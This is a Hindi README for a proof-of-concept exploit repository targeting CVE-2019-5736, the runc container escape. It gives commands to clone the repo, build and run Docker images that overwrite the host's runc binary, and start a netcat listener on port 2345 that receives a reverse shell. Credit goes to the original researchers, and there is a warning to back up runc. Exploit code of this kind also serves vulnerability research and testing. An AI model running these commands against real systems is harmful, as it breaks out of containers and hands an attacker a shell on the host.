
CVE-2019-5736 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो runc बाइनरी अधिलेखन, exec और दुर्भावनापूर्ण इमेज पेलोड के माध्यम से कंटेनर एस्केप का प्रदर्शन करता है।
वीडियो: https://bit.ly/2WqvILb
ब्लॉग पोस्ट: [www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]
यहाँ मैं यह उल्लेख करना चाहूँगा कि इस एक्सप्लॉइट का मूल डेवलपर Twistlock Labs में Yuval Avrahami है।
ध्यान दें कि POCs चलाने से होस्ट पर runC बाइनरी ओवरराइट हो जाएगी।
यह अत्यधिक अनुशंसित है कि आप POCs में से कोई भी चलाने से पहले अपनी runC बाइनरी (सामान्यतः /usr/sbin/runc पर) की एक प्रतिलिपि बना लें।
रिपॉजिटरी क्लोन करें:
$ git clone [email protected]:BBRathnayaka/RunC-CVE-2019-5736.git
एक सरल प्रोग्राम जो एक स्ट्रिंग प्रिंट करता है, के साथ runc को ओवरराइट करता है।
exec POC चलाना:
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
एक सरल रिवर्स शेल bash स्क्रिप्ट जो localhost:2345 से कनेक्ट होती है, के साथ runc को ओवरराइट करता है।
रिवर्स शेल के लिए सुनें:
$ nc -nvlp 2345
एक अलग शेल से, malicious image POC चलाएँ:
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
CVE-2019-5736 और POCs की व्याख्या के लिए [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explaining CVE-2019-5763") देखें।
Malicious image POC [q3k's POC](https://github.com/q3k/cve-2019-5736-poc) पर काफी हद तक आधारित है, इसलिए सारा श्रेय उसे जाता है।